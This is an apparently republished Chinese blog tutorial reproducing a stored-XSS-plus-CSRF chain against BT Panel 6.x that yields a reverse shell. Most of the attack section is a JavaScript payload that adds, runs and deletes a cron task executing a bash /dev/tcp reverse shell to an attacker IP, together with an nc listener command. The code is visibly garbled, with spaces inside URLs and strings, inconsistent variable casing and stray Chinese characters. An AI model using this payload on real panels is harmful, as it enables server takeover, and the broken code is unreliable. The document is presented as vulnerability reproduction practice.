寶塔面板6.x版本前台存儲XSS+后台CSRF組合拳Getshell


對於寶塔漏洞復現和練習

0×00  什么是寶塔面板

寶塔面板是一款使用方便,功能強大且終身免費的服務器管理軟件,支持Linux 與Windows 系統。一鍵配置:LAMP / LNMP ,網站,數據庫,FTP ,SSL,通過Web 端輕松管理服務器。推出至今備受中小站點站長喜愛,下載量過百萬。

0×01  漏洞成因

在6.x Linux 版本寶塔面板當中當中,相對與5.x 版本,記錄了驗證碼錯誤並存入數據庫當中,存儲XSS缺陷就是在此處產生。 同時利用CSRF結合寶塔的計划任務反彈shell。

0×02   漏洞復現

首先訪問后台,寶塔一般部署在8888 端口,

我們直接在面板登錄處,隨便輸入一個賬號密碼,觸發失敗,要求輸入驗證碼。

然后我們在登陸,在驗證碼處輸入XSS 利用代碼測試

<script>alert('xss')</ script> 

通過賬號密碼登陸寶塔后台,點開安全模塊。我們可以看到觸發了彈窗

 

 

由於寶塔面板的計划任務功能可以執行shell 腳本,所以我們可以基於這個xss 結合csrf 在計划任務功能處執行反彈shell 。

我們利用xss 平台(http://xsspt.com )新建一個項目執行自定義的js 腳本,修改里面的你的ip 和端口,代碼如下

 function addTask(TaskName,execTime,ip,port){

    var execShell ='bash -i>&/ dev / tcp / your_ip / your_port 0>&1';

    execShell = encodeURIComponent(execShell);

    var params ='name ='+ TaskName +'&type = minute-n&where1 ='+ execTime +'&hour =&minute =&week =&sType = toShell&sBody ='+ execShell +'&sName =&backupTo = localhost&save =&urladdress = undefined'

    var xhr = new XMLHttpRequest();

    xhr.open('POST','/ crontab?action = AddCrontab',false);

    xhr.setRequestHeader('Content-Type','application / x-www-form-urlencoded');

    xhr.send(PARAMS);

}

 

function execTask(TaskName){

    var xhr = new XMLHttpRequest();

    xhr.open('POST','/ crontab?action = GetCrontab',true);

    xhr.send();

    xhr.onload = function(){

        ifthis.readyState == 4 && this.status == 200){

            var res = JSON.parse(this.responseText);

            if(res [0] .name == TaskName){

                var TaskID = res [0] .id.toString();

                var xhr = new XMLHttpRequest();

                xhr.open('POST','/ crontab?action = StartTask',false);

                xhr.setRequestHeader('Content-Type','application / x-www-form-urlencoded');

                var params ='id ='+ TaskID;

                xhr.send(PARAMS);

                delTask(RES [0] .ID);

                的console.log(RES [0] .ID);

                return res [0] .id;

            }

        }

    }

}

 

function delTask(TaskID){

    var params ='id ='+ TaskID.toString();

    var xhr = new XMLHttpRequest();

    xhr.open('POST','/ crontab?action = DelCrontab',false);

    xhr.setRequestHeader('Content-Type','application / x-www-form-urlencoded');

    xhr.send(PARAMS);

}

 

var TaskName = Math.random()。toString(36).substring(7);

addTask(TASKNAME, '5', '1.1.1.1', '53');

execTask(TASKNAME);

在本地通過nc 監聽反彈的端口,nc.exe -l -vv -p 反彈端口

在然后后台通過登陸面板的驗證碼處插入我們配置好的跨站網站腳本代碼

在登陸寶塔后台面板,點開安全模塊。我們可以看到殼成功反彈

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM